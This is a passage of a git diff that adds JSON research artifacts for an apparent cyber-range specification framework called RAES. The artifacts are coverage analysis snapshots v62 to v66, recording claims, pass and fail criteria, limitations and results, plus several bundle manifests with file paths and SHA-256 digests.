"docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v62.json", + "docs/research/specification-coverage/analysis-v62.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-30", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "Issue #971 adds offline crossing model construction; this retained protocol establishes no crossing equivalence or runtime-realization claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained cases replay against the merged participant-crossing models and API-424 control contracts; outcomes and bounded claim limits are unchanged.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-971-v62", + "snapshot_sha256": "ada2f532913d1e195f731295ac7eb9bc2451bfa6fba3066f51042dddbbe49fd0" +} diff --git a/docs/research/specification-coverage/analysis-v63.json b/docs/research/specification-coverage/analysis-v63.json new file mode 100644 index 000000000..8deb588f1 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v63.json @@ -0,0 +1,105 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-971-v63", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v63.json", + "docs/research/specification-coverage/analysis-v63.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-30", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "Issue #971 adds offline crossing model construction; this retained protocol establishes no crossing equivalence or runtime-realization claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained cases replay after upgrading the locked PyJWT dependency to 2.14.0; outcomes and bounded claim limits are unchanged.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-971-v63", + "snapshot_sha256": "7bcd2526101247117b1d0252d4b25b6f62c4191a5636881523d06a3c85f2597f" +} diff --git a/docs/research/specification-coverage/analysis-v64.json b/docs/research/specification-coverage/analysis-v64.json new file mode 100644 index 000000000..11b6ac472 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v64.json @@ -0,0 +1,106 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1359-v64", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v64.json", + "docs/research/specification-coverage/analysis-v64.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-30T05:02:01.302376+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "Issue #971 adds offline crossing model construction; this retained protocol establishes no crossing equivalence or runtime-realization claim.", + "Issue #1359 control-plane route authority, participant-view scoping, and no-store HTTP boundary are covered by their dedicated HTTP-boundary suite; this retained matrix makes no new exposure or execution claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification-coverage matrix reproduces its prior classifications against source that enforces the administrative-only runtime control-plane boundary. Route authority, participant-view scoping, and the no-store HTTP boundary are verified by their dedicated suite; the classifications and claim limits are unchanged.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1359-v64", + "snapshot_sha256": "093f9dd19a5b442e1f6dd4e27b7025a9f57b82880b1b9ee7bcb87ddd796861af" +} diff --git a/docs/research/specification-coverage/analysis-v65.json b/docs/research/specification-coverage/analysis-v65.json new file mode 100644 index 000000000..421c79ee0 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v65.json @@ -0,0 +1,106 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-supply-chain-v65", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v65.json", + "docs/research/specification-coverage/analysis-v65.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-30T21:48:40.529064+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "Issue #971 adds offline crossing model construction; this retained protocol establishes no crossing equivalence or runtime-realization claim.", + "Issue #1359 control-plane route authority, participant-view scoping, and no-store HTTP boundary are covered by their dedicated HTTP-boundary suite; this retained matrix makes no new exposure or execution claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification-coverage matrix reproduces its prior classifications after upgrading the locked PyJWT dependency to 2.15.1 and urllib3 to 2.8.0; classifications and claim limits are unchanged.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-supply-chain-v65", + "snapshot_sha256": "13e76a8074b3d24ca85260cb1d7f9242c7e65a4a7bb1b32cb39ebb5cda0b6b5c" +} diff --git a/docs/research/specification-coverage/analysis-v66.json b/docs/research/specification-coverage/analysis-v66.json new file mode 100644 index 000000000..26493b001 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v66.json @@ -0,0 +1,107 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1401-v66", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v66.json", + "docs/research/specification-coverage/analysis-v66.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-30T22:41:24.312224+00:00", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "Issue #971 adds offline crossing model construction; this retained protocol establishes no crossing equivalence or runtime-realization claim.", + "Issue #1359 control-plane route authority, participant-view scoping, and no-store HTTP boundary are covered by their dedicated HTTP-boundary suite; this retained matrix makes no new exposure or execution claim.", + "Issue #1401 required-evidence media-type coherence is verified by its dedicated suite; this retained matrix makes no new admission or capture claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification-coverage matrix reproduces its prior classifications against source that rejects required evidence whose declared media type the output registry cannot prove; classifications and claim limits are unchanged.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1401-v66", + "snapshot_sha256": "1c923ff0c8de6f25f672c732667ddce6362ef243c63415810b29bea42fd55f38" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1005-v26.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1005-v26.json new file mode 100644 index 000000000..1384f1ac1 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1005-v26.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v26.json", + "analysis_sha256": "80704f19d5b3c8a85eb7377ce2968974781354911d85fad1b36b085d594ceb76", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "26.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v26.json", + "snapshot_sha256": "899f47ba770b78b1eed0a1395f2c715afd99248c452f20c5250054f1a6080f07" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1015-v32.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1015-v32.json new file mode 100644 index 000000000..853e500e8 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1015-v32.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v32.json", + "analysis_sha256": "19e894fad61a938951d9b9dbcf3680de7c92be018cab36123e949db0145dfc73", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "32.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v32.json", + "snapshot_sha256": "1c5c05318d39f9187ba140058d84730677f68aaa54620664dd1a44f84e2d1faf" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1016-v38.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1016-v38.json new file mode 100644 index 000000000..d2066c10a --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1016-v38.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v38.json", + "analysis_sha256": "3c0a329c59e5fc719b5dbfb1ab71c97ed3c73bb299e8054f2b096fe8ae02626c", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "38.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v38.json", + "snapshot_sha256": "5cffa3777a153d158d8f5a7a88792aaaceed33876459f16e1e4a00372db948f9" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1069-v40.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1069-v40.json new file mode 100644 index 000000000..ec56e457e --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1069-v40.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v40.json", + "analysis_sha256": "24d12e3c26798b293dc62ce66635f5630d78363bd4e12f6f12be72bfd6e00f8d", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "40.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v40.json", + "snapshot_sha256": "185914913834ca0470d1b51b6994bd1b4aafdda8a266b1f8694fa35c30bdcbd7" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v36.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v36.json new file mode 100644 index 000000000..ea8764ccf --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v36.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v36.json", + "analysis_sha256": "66a254244ca7946a2279bdfc9ea2d9f726d2ef7297e1538087184df80d274481", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "36.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v36.json", + "snapshot_sha256": "59379c8beae2cd5b4fbac1ae6cc5d1b30a860a02318f287c1df3c9702af55299" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v37.json b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v37.json new file mode 100644 index 000000000..42456df67 --- /dev/null +++ b/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v37.json @@ -0,0 +1,10 @@ +{ + "analysis_path": "docs/research/specification-coverage/analysis-v37.json", + "analysis_sha256": "b48035020e7484579f48319917d014735d27cda38f0e2484d30b1e162036c4f6", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "37.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v37.json", + "snapshot_sha256": "57663dd62ac779b49543956dc68bdb9c65471815d2b34036a4f286756e8900a4" +} diff --git a/docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1179-v30.json 